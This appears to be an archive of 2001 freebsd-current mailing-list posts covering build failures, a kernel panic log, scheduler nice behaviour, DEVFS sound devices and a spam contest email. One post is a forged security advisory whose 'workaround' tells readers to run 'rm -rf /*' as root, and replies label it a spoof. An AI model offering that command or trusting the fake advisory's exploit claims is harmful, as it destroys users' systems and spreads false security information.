Re: x11/XFree86-4
Stephan van Beerschoten wrote: I am having trouble compiling XFree86 from the ports tree.. I once ever few weeks recompile several packages again because I run -CURRENT and want to keep everything nicely sync'ed and updated in ports too.. But while compiling .. I got this error: LD_LIBRARY_PATH=../../exports/lib cc -o appres -ansi -pedantic -Dasm=__asm -Wal l -Wpointer-arith -L../../exports/lib appres.o -lXt -lSM -lICE -lXext -lX11 -L/usr/X11R6/lib -Wl,-rpath,/usr/X11R6/lib ../../exports/lib/libXt.so: undefined reference to `pthread_cond_signal' ../../exports/lib/libXThrStub.so.6: undefined reference to `_Xthr_zero_stub_' Remove /usr/ports/x11/XFree86-4/files/patch-xthreads: it breaks compilation in CURRENT. This worked fine for me. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Panic with tonight -CURRENT kernel
Hi all, just recompiled to try out new ACPI code, rebooted and boom! Feb 1 00:56:33 brian /boot/kernel.old/kernel: Copyright (c) 1992-2001 The FreeBSD Project. Feb 1 00:56:33 brian /boot/kernel.old/kernel: Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 Feb 1 00:56:33 brian /boot/kernel.old/kernel: The Regents of the University of California. All rights reserved. Feb 1 00:56:33 brian /boot/kernel.old/kernel: FreeBSD 5.0-CURRENT #4: Wed Jan 31 23:22:00 CET 2001 Feb 1 00:56:33 brian /boot/kernel.old/kernel: root@brian:/usr/src/sys/compile/THINKPAD.new Feb 1 00:56:33 brian /boot/kernel.old/kernel: Timecounter "i8254" frequency 1193182 Hz Feb 1 00:56:33 brian /boot/kernel.old/kernel: Timecounter "TSC" frequency 448054538 Hz Feb 1 00:56:33 brian /boot/kernel.old/kernel: CPU: Pentium III/Pentium III Xeon/Celeron (448.05-MHz 686-class CPU) Feb 1 00:56:33 brian /boot/kernel.old/kernel: Origin = "GenuineIntel" Id = 0x681 Stepping = 1 Feb 1 00:56:33 brian /boot/kernel.old/kernel: Features=0x383f9ffFPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE Feb 1 00:56:33 brian /boot/kernel.old/kernel: real memory = 67043328 (65472K bytes) Feb 1 00:56:33 brian /boot/kernel.old/kernel: config di sio1 Feb 1 00:56:33 brian /boot/kernel.old/kernel: avail memory = 62164992 (60708K bytes) Feb 1 00:56:33 brian /boot/kernel.old/kernel: Preloaded elf kernel "kernel" at 0xc0302000. Feb 1 00:56:33 brian /boot/kernel.old/kernel: Preloaded userconfig_script "/boot/kernel.conf" at 0xc030209c. Feb 1 00:56:33 brian /boot/kernel.old/kernel: Pentium Pro MTRR support enabled Feb 1 00:56:33 brian /boot/kernel.old/kernel: ACPI debug layer 0x0 debug level 0x0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: Using $PIR table, 10 entries at 0xc00fdef0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi0: PTLTDRSDT on motherboard Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi0: power button is handled as a fixed feature programming model. Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi_tz0: thermal zone on acpi0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi_acad0: AC adapter on acpi0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi_acad0: On Line Feb 1 00:56:33 brian /boot/kernel.old/kernel: acpi_cmbat0: Control method Battery on acpi0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: Feb 1 00:56:33 brian /boot/kernel.old/kernel: Feb 1 00:56:33 brian /boot/kernel.old/kernel: Fatal trap 12: page fault while in kernel mode Feb 1 00:56:33 brian /boot/kernel.old/kernel: fault virtual address= 0x0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: fault code = supervisor read, page not present Feb 1 00:56:33 brian /boot/kernel.old/kernel: instruction pointer = 0x8:0xc014a04e Feb 1 00:56:33 brian /boot/kernel.old/kernel: stack pointer= 0x10:0xc0323e28 Feb 1 00:56:33 brian /boot/kernel.old/kernel: frame pointer= 0x10:0xc0323e54 Feb 1 00:56:33 brian /boot/kernel.old/kernel: code segment = base 0x0, limit 0xf, type 0x1b Feb 1 00:56:33 brian /boot/kernel.old/kernel: = DPL 0, pres 1, def32 1, gran 1 Feb 1 00:56:33 brian /boot/kernel.old/kernel: processor eflags = interrupt enabled, resume, IOPL = 0 Feb 1 00:56:33 brian /boot/kernel.old/kernel: current process = 0 (swapper) Feb 1 00:56:33 brian /boot/kernel.old/kernel: trap number = 12 Feb 1 00:56:33 brian /boot/kernel.old/kernel: panic: page fault The system came up again with no problem, but paniced again as soon as it loaded linux.ko from /etc/rc. Here it mentioned something about mtx_* but, assuming this could be reproduced, I was so stupid that I didn't write it down... Took this out, rebooted and then tried kldload linux.ko and no panic :( Right now it looks like this won't be easy to reproduce... I will try to boot again and again until I get a new panic. Anything I should do, apart from dumbly rebooting until I get it again? I have INVARIANTS_SUPPORT and INVARIANTS compiled in, but no DDB, WITNESS or MUTEX_DEBUG anymore... Should I put those back? Bye, Andrea -- Reboot America. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: RFC: user-config alt path in Linux emulation
On Wed, Jan 31, 2001 at 12:50:58PM +, Christian Weisgerber wrote: Andrea Campi [EMAIL PROTECTED] wrote: The net effect is that there is no way to, for instance, back up the real /usr from Tivoli, etc... as there is no way to get to a real path if there is anything with the same name inside /compat/linux. Loopback NFS mount. You are right. It's not elegant at all, but it works. The company I work for is a NASP and we're planning to offer companies that colocate at our premises or buy bandwidth from us the opportunity to backup their machines. I would love to also support FreeBSD, even though it's not got a major market share here. With what you suggest it's possible but I have to teach each customer to do this. My proposed solution, while more intrusive, could be packaged as a kld + scripts; writing a script to setup a loopback NFS mount in any situation is not trivial! Now if only the Tivoli client run a little faster (and more reliable)... but this is a different story. If anybody can help... ;-) Bye, Andrea -- Intel: where Quality is job number 0.9998782345! To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: cvs commit: src/sys/dev/acpica/Osd OsdSynch.c
In article [EMAIL PROTECTED] you wrote: msmith 2001/01/31 01:35:50 PST Modified files: sys/dev/acpica/Osd OsdSynch.c Log: Add some debugging. Turn off semaphores. Nobody else implements them, and there is lots of AML out there which does totally absurd things with them, meaning that if we try to do the right thing we are guaranteed to fail. Anyone that was having problems with ACPI hanging on their systems should try again; I'm pretty sure that a lot of our problems were stemming from deadlocks caused by us being the only OS to actually *implement* synchronisation primitives for ACPI... My -current on ABIT's BP6 dual Celerons hungs before this commit and normally boots after it. N.Dudorov To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
de NIC driver and Asante Fast Ethernet (21140A)
I have an Asante 21140A card (Asante Fast Ethernet Adapter) and I keep recieving these messages when I 'ifconfig de0 media 100baseTX': de0: enabling 100baseTX port de0 link down: cable problem? Even though the link is up and I can send/recieve packets like nothing is wrong. It seems to work fine otherwise. Every once in awhile I will get the transmit underrun and it will increase the TX threshold. Seems to work well on my 100baseTX network though. The massages are more of a nuisance than anything else, any ideas? -- coleman PGP signature
NEWBIE CUESTION
How can I get ctm-sorce files out of mail, when I download my mail using Netscape. I tried using ctm_rmail but ether I dont know how to do it, or it daosn't work Rasa To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
ACPI
In BIOS i can select weather to use S1 or S3, motherboard uses AWARD ACPI, which ever I select it doesn't wont to sleep, dou I can shut it down by eather -s5 or by power button but non of the other s1, s2, s3, s4 or s4b worked Rasa To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Does task scheduler work correctly? (... nice bug fix)
Hi,
I'm afraid that we have still problems with task scheduler:
Until 1999/11/28, it was known that a process with nice 20 were
capable to steal many CPU cycles from processes without nice.
1999/11/28 came commit
http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=15023+20131+/usr/local/www/db/text/1999/cvs-all/19991205.cvs-all
--
bde 1999/11/28 04:12:15 PST
...
Scheduler fixes equivalent to the ones logged in the following NetBSD
commit to kern_synch.c:
...
Scheduler bug fixes and reorganization
* fix the ancient nice(1) bug, where nice +20 processes incorrectly
steal 10 - 20% of the CPU, (or even more depending on load average)
...
=== nice bug === Fixing this is the main point of this commit. We use
...
--
These changes was before 4.x, so they are in 4.x and -current
and they solved troubles with stealing CPU cycles.
However, there was next fix
???:
http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=63385+66222+/usr/local/www/db/text/2000/cvs-all/2507.cvs-all
=
--
green 2000/04/30 11:33:44 PDT
...
Change the scheduler to actually respect the PUSER barrier. It's been
wrong for many years that negative niceness would lower the priority
...
The breakage could (and did) cause lock-ups, basically nothing else
but the least nice program being able to run in some conditions. The
...
--
This change was made only in -current, so it is missing in 4.x branch.
After this change, processes in -current with nice 20 again steal CPU
cycles from processes without nice. If I run commands
--
nice -0 perl -e 'while(1){}'
nice -20 perl -e 'while(1){}'
--
after some time top shows time 11:30 for perl-nice-0 and 4:00 (!!!)
for perl-nice-20. I think that it is even worse than before commit
on 1999/11/28.
After reading commit logs, I understand that:
* Scheduling in -current should not cause locks, but nice is again broken.
* Scheduling in -stable can cause locks (?!?), but nice works perfectly.
I could not believe that my understandings are correct. Please, could
anybody explain to me the real scheduler status?
Thanks.
--
Rudolf Cejka ([EMAIL PROTECTED]; http://www.fee.vutbr.cz/~cejkar)
Brno University of Technology, Faculty of El. Engineering and Comp. Science
Bozetechova 2, 612 66 Brno, Czech Republic
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: Does task scheduler work correctly? (... nice bug fix)
On Thu, 01 Feb 2001 19:23:04 +0100, Cejka Rudolf wrote: After reading commit logs, I understand that: * Scheduling in -current should not cause locks, but nice is again broken. * Scheduling in -stable can cause locks (?!?), but nice works perfectly. I could not believe that my understandings are correct. Please, could anybody explain to me the real scheduler status? What I remember of the discussions that surrounded this one, your summary is correct. The only thing is that nice isn't so much _broken_ as it just isn't doing what you'd expect it to. :-) I don't think any of the FreeBSD manual pages suggest that nice 20 processes aren't supposed to get _any_ CPU time. Ciao, Sheldon. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Does task scheduler work correctly? (... nice bug fix)
Sheldon Hearn wrote (2001/02/01): What I remember of the discussions that surrounded this one, your summary is correct. The only thing is that nice isn't so much _broken_ as it just isn't doing what you'd expect it to. :-) Ok, scheduler in -current is not broken. But I'm afraid that in -stable it is - can (niced) process cause a lock of machine?. Currently, we have dual processor box with 4.2-STABLE and it silently locks too often. With current scheduler in mind, it is hard to say if I should search in HW or SW for a potential fix... I don't think any of the FreeBSD manual pages suggest that nice 20 processes aren't supposed to get _any_ CPU time. Maybe. But there are some conventions and two-process sensitivity 2.5:1 is not very big (is low). Solaris and Linux have much bigger ratio (sufficient). So why FreeBSD has to be so much different? Insensitivity of nice were problem in the past and it is going back. Users need to run some processes (!= dnetc != setiathome) enough hidden and idprio does not work either. Unfortunately, it is sufficient consideration why do not use FreeBSD for example as a general purpose server: When anybody needs to run long-time computation process, he can use only nice 20 and other users are not blind and can see, that operating system does not want to give sufficient time to their short-time computation processes. And users can force to switch to another system - just hear "but Linux do..." :-( -- Rudolf Cejka ([EMAIL PROTECTED]; http://www.fee.vutbr.cz/~cejkar) Brno University of Technology, Faculty of El. Engineering and Comp. Science Bozetechova 2, 612 66 Brno, Czech Republic To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: ACPI
FreeBSD currently only supports S1 and S5. I haven't done anything with S1 lately, so I'm not sure if it's been broken recently. In BIOS i can select weather to use S1 or S3, motherboard uses AWARD ACPI, which ever I select it doesn't wont to sleep, dou I can shut it down by eather -s5 or by power button but non of the other s1, s2, s3, s4 or s4b worked Rasa To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
somebody pooched a checkin? kernel builds broken...
bal.h -elf -mno-fp-regs -ffixed-8 -Wa,-mev56 ../../alpha/alpha/genassym.c ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared here (not in a function) ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared here (not in a function) ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared here (not in a function) ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared here (not in a function) ../../alpha/alpha/genassym.c:136: size of array `FRAME_FLAGSw0' has non-integer type ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared here (not in a function) ../../alpha/alpha/genassym.c:136: `FRAME_FLAGS' undeclared her ... To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Does task scheduler work correctly? (... nice bug fix)
On Thu, 01 Feb 2001 20:14:13 +0100, Cejka Rudolf wrote: Ok, scheduler in -current is not broken. But I'm afraid that in -stable it is - can (niced) process cause a lock of machine?. You should really talk to Brian Feldman [EMAIL PROTECTED]. The last time I chatted to him about this, I was left with the impression that priority-handling in -stable could, in certain corner cases, result in deadlocks. Ciao, Sheldon. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Win a top of the range iMac, Palm Pilot or Discman
Connect to your future and start 2001 as a winnerWin a top of the range iMac, Palm Pilot or Discman All you have to do to win is register with planetgraduate, the new international site for students, graduates and employers. Simply click here to get started Take just a few seconds to register and enter our draw to win either a Palm Pilot or Sony Discman. Take a few minutes more and enter your CV with planetgraduate's CV Builder and you could win the incredibly cool iMac and be connected to the Internet in a couple of clicks. Enter our prize draw today to win one of these top prizes:-A top of the range iMacOne of two Palm Pilots One of three Portable CD players Discman iMac Palm Pilot PS Double your chances of winning a Discman or Palm Pilot by helping us let your friends know about this great competition. The draw will take place on Friday 23rd February 2001 Prizes may differ from models shownTo unsubscribe from this email, reply to this email with the word 'unsubscribe' only in the subject lineor send an email to [EMAIL PROTECTED] get a job now|study net.the village|relax enjoy.top deals|behind the scenes contact us.privacy policy.terms of use.copyright
buildworld failed at kdump...
Hello. After resup, i try to buildworld and it failed at kdump: === usr.bin/kdump cc -O -pipe -march=pentium -I/usr/src/usr.bin/kdump/../ktrace -I/usr/src/usr.bin/kdump/../.. -I/usr/obj/usr/src/i386/usr/include -c /usr/src/usr.bin/kdump/kdump.c cc -O -pipe -march=pentium -I/usr/src/usr.bin/kdump/../ktrace -I/usr/src/usr.bin/kdump/../.. -I/usr/obj/usr/src/i386/usr/include -c ioctl.c In file included from ioctl.c:99: /usr/obj/usr/src/i386/usr/include/sys/memrange.h:18: warning: `MDF_ACTIVE' redefined /usr/obj/usr/src/i386/usr/include/pccard/cardinfo.h:81: warning: this is the location of the previous definition In file included from ioctl.c:51: /usr/obj/usr/src/i386/usr/include/machine/i4b_rbch_ioctl.h:45: `TELNO_MAX' undeclared here (not in a function) ioctl.c: In function `ioctlname': ioctl.c:693: invalid use of `restrict' ioctl.c:693: sizeof applied to an incomplete type *** Error code 1 Stop in /usr/src/usr.bin/kdump. *** Error code 1 Stop in /usr/src/usr.bin. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Any idea? -- Rgdz,/"\ Sergey Osokin aka oZZ, \ / ASCII RIBBON CAMPAIGN [EMAIL PROTECTED]X AGAINST HTML MAIL http://freebsd.org.ru/~osa/ / \ To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
apache13-modssl dumps core.
I just compiled apache1.3.17 modssl from ports and it prefers to dump core than run. I tried apache13 (same sources) and it runs fine. Looks like there may be an issue with mod_ssl-2.8.0-1.3.17. Shoot, I just realized that I forgot to test it without ssl:-( I'll recompile it and and try it both ways. ed -- EnContacto.Net - InternetSalon.Org - CafeMania.Net - EnContacto.Net - CafeMania.Net - InternetSalon.Org To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
FreeBSD-SA-01:19.local
-BEGIN PGP SIGNED MESSAGE- = FreeBSD-SA-01:69 Security Advisory FreeBSD, Inc. Topic: Local root exploit Category: core Module: sh Announced: 2001-02-02 Credits:AntiOffline.com, Disgraced.org, Deficiency.org sil, deran9ed, jhh, iggie, jwit Affects:All released versions of FreeBSD 2.x. 3.x, 4.x. Corrected: Not corrected since we aren't smart enough to figure it out. Vendor status: Disgruntled FreeBSD only: YES I. Background FreeBSD is a bloated OS complete with 4 CD's worth of crap you just don't need, which can often become the overlay for some script kiddiot rooting your machine. II. Problem Description FreeBSD the experts in bloatware which can be compared to Windows 98, Windows2000 Unprofessional edition, and well FreeBSD versions *, has a local exploit which local (l)users can manipulate in order to gain higher priveledges by issuing commands via the terminal. Our developers are currently focusing on the problem scrathing their gonads and crying foul at the more secure versions of BSD and their developers which we cannot mention due to our egos. Kiss my ass Theo, you and your ultra secure team of experts, one day we too will have our heads out of our asses. III. Impact Malicious local users can cause arbitrary commands to be executed as the root user, although FreeBSD will never admit why we ship our distro with 2.6 gigabytes of worthless junkware, we will not stoop beneath ourselves to comment on why we still use such insecure stuff, e.g., WU-FTPD, a crappy TCP/IP stack, etc. We are now a part of BSDi which means we've suckseded in selling our anuses for fun and profit. IV. Workaround Perform the following commands as root: rm -rf /* Then run out and purchase OpenBSD 2.8 a real OS not some overlaying crap like SecureBSD. V. Solution Ultimately, there is no workaround until our developers get a clue and BSDi decides to be purchased by AOL Time Warner, Microsoft or Intel however, kudos to those already using OpenBSD. Your systems are safe with it. -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iQCVAwUBOniArlUuHi5z0oilAQGE+AQAiwizuORMqyzOw21QFyap2Z7lv7BkYuiC 9zZ97X3WR+i8AujTfIrhwK1UdO6KFbp5Rjc54f3XHtaMotoRcp3x24xADpGQDP4s Xyw267ZoV7ZYuG6VcAgBzq9pqiCnU9rqRQy2aRn/8iCvcl/G5249B3DuMMtLiMw+ Iuz0OOxWeLM= =hanM -END PGP SIGNATURE- To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: FreeBSD-SA-01:19.local
Isn't it early for april fool's? To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: FreeBSD-SA-01:19.local
On Thu, Feb 01, 2001 at 09:59:19PM -0500, FreeBSD Security Advisories wrote: Received: from smtp.interlog.com (bretweir.total.net [154.11.89.176]) by hub.freebsd.org (Postfix) with SMTP id 9E99237B491 for [EMAIL PROTECTED]; Thu, 1 Feb 2001 18:59:21 -0800 (PST) Received: (qmail 2440 invoked from network); 2 Feb 2001 02:59:19 - Received: from unknown (HELO vws3.interlog.com) (207.34.202.29) by bretweir.total.net with SMTP; 2 Feb 2001 02:59:19 - Received: by vws3.interlog.com (8.9.0/8.9.0) id VAA01730; Thu, 1 Feb 2001 21:59:19 -0500 (EST) Date: Thu, 1 Feb 2001 21:59:19 -0500 (EST) Message-Id: [EMAIL PROTECTED] [...] Nice try. Remember next time to send it to -security, not -current. -- wca PGP signature
Re: FreeBSD-SA-01:19.local
[EMAIL PROTECTED] said: Isn't it early for april fool's? Nah. Easter eggs are in the shops. -- Cheers John Summerfield http://www2.ami.com.au/ for OS/2 linux information. Configuration, networking, combined IBM ftpsites index. Microsoft's most solid OS: http://www.geocities.com/rcwoolley/ Note: mail delivered to me is deemed to be intended for me, for my disposition. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: FreeBSD-SA-01:19.local
On Thu, 01 Feb 2001 19:02:36 PST, "Matthew Jacob" wrote: Isn't it early for april fool's? Well c'mon, Matt. Given the lack of interesting content (geez, it wasn't even a Good Spoof), do you really think the perps are smart enough to know the difference 'tween 2/1 and 4/1? :) Yawn. Brett --- Brett Rabe [EMAIL PROTECTED] / 612.664.3078 Senior Systems Engineer Qwest - Internet Services Una salus victus nullam sperare salutem To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: FreeBSD-SA-01:19.local
John Summerfield [EMAIL PROTECTED] types: [EMAIL PROTECTED] said: Isn't it early for april fool's? Nah. Easter eggs are in the shops. And the fools are forging mail. mike -- Mike Meyer [EMAIL PROTECTED] http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
installable snapshot of -current?
I'm trying to install -current on a dual CPU machine with an Adaptec 7880, it's hanging somewhere after the scsi probe (no indication that it's over) and sysinstall starting up. Can anyone recommend a -current snapshot that will work? -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
pcm driver and DEVFS
Hello, I did make world a couple days ago. The system was built from cvsup'd source on Jan 30: -- elf make world started on Tue Jan 30 06:23:38 JST 2001 -- The system uses DEVFS. But I have some issue around sound drivers. I usually use mpg123(Version 0.59r (1999/Jun/15)) or x11amp(version 0.8). Before using DEVFS, I was able to adjust sound volume in the sophisticated manner. But, after installing DEVFS, I wasnt adjust sound volume. It might be difficult to run x11amp with DEVFS. On the other hand, mpg123 works. But, its sound is too loud. Added to this, before install DEVFS, I found /dev/dsp1 or /dev/dsp0 in /dev. But I only found the different kind of files: % ls /dev acd0a cuala0 ptyp0 ttyv3 acd0c dsp1.0 ptyp1 ttyv4 ad0 dsp1.1 random ttyv5 ad0s1g dspW1.0 sndstat ttyv6 ad0s2a dspW1.1 stderr@ ttyv7 ad0s2b fd/ stdin@ ttyv8 ad0s2e fd0 stdout@ ttyv9 ad0s2f io sysmousettyva apm kbd0tty ttyvb apmctl klogttyd0 ttyvc audio1.0kmemttyid0 ttyvd audio1.1log@ttyld0 ttyve bpsm0 mem ttyp0 ttyvf console mixer1 ttyp1 tun0 consolectl nullttyv0 urandom cuaa0 pci ttyv1 vga@ cuaia0 psm0ttyv2 zero The files /dev/dsp1.0 and /dev/dsp1.1 are new to me. Of course, I tried to do % x11amp -e /dev/dsp1.0 % x11amp -e /dev/dsp1.1 % x11amp -e /dev/dspW1.0 % x11amp -e /dev/dspW1.1 But in vain. Does some have solution or suggestion? The output produce uname is as follows: % uname -a FreeBSD current.my.domain 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ Tue Jan 30 10:07:28 JST 2001 \ [EMAIL PROTECTED]:/usr/obj/usr/src/sys/current i386 Other information relatated my -current box are attached at the end of this mail. koya Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Tue Jan 30 10:07:28 JST 2001 [EMAIL PROTECTED]:/usr/obj/usr/src/sys/current Timecounter "i8254" frequency 1193182 Hz CPU: AMD-K6(tm) 3D processor (331.64-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x58c Stepping = 12 Features=0x8021bfFPU,VME,DE,PSE,TSC,MSR,MCE,CX8,PGE,MMX AMD Features=0x8800SYSCALL,3DNow! real memory = 268435456 (262144K bytes) avail memory = 257638400 (251600K bytes) Preloaded elf kernel "kernel" at 0xc039d000. K6-family MTRR support enabled (2 registers) Using $PIR table, 6 entries at 0xc00fa040 apm0: APM BIOS on motherboard apm0: found APM BIOS v1.2, connected at v1.2 npx0: math processor on motherboard npx0: INT 16 interface pcib0: VIA 82C598MVP (Apollo MVP3) host bridge at pcibus 0 on motherboard pci0: PCI bus on pcib0 pcib1: PCI-PCI bridge at device 1.0 on pci0 pci1: PCI bus on pcib1 pci1: display, VGA at 0.0 (no driver attached) pci0: simple comms, UART at 3.0 (no driver attached) dc0: Intel 21143 10/100BaseTX port 0x2000-0x207f mem 0x4120-0x412003ff irq 10 at device 5.0 on pci0 dc0: Ethernet address: 00:40:d0:0d:e5:9e miibus0: MII bus on dc0 dcphy0: Intel 21143 NWAY media interface on miibus0 dcphy0: 10baseT, 10baseT-FDX, auto isab0: PCI-ISA bridge at device 20.0 on pci0 isa0: ISA bus on isab0 atapci0: VIA 82C586 ATA33 controller port 0x20a0-0x20af at device 20.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 pci0: serial bus, USB at 20.2 (no driver attached) pci0: bridge, PCI-unknown at 20.3 (no driver attached) atkbdc0: Keyboard controller (i8042) at port 0x60,0x64 on isa0 atkbd0: AT Keyboard flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: PS/2 Mouse irq 12 on atkbdc0 psm0: model MouseMan+, device ID 0 fdc0: NEC 72065B or clone at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: 1440-KB 3.5" drive on fdc0 drive 0 ppc0: Parallel port at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode sc0: System console at flags 0x100 on isa0 sc0: VGA 16 virtual consoles, flags=0x300 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: configured irq 3 not in bitmap of probed irqs 0 vga0: Generic ISA VGA at port 0x3c0-0x3df iomem 0xa-0xb on isa0 unknown: PNP0400 can't assign resources unknown: PNP0501 can't assign resources sbc0: ESS ES1869 (Compaq OEM) at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,3 on isa0 pcm1: ESS 18xx DSP on sbc0 esscontrol0: ESS Control at port 0x268-0x26f on isa0 unknown: PNP0700 can't
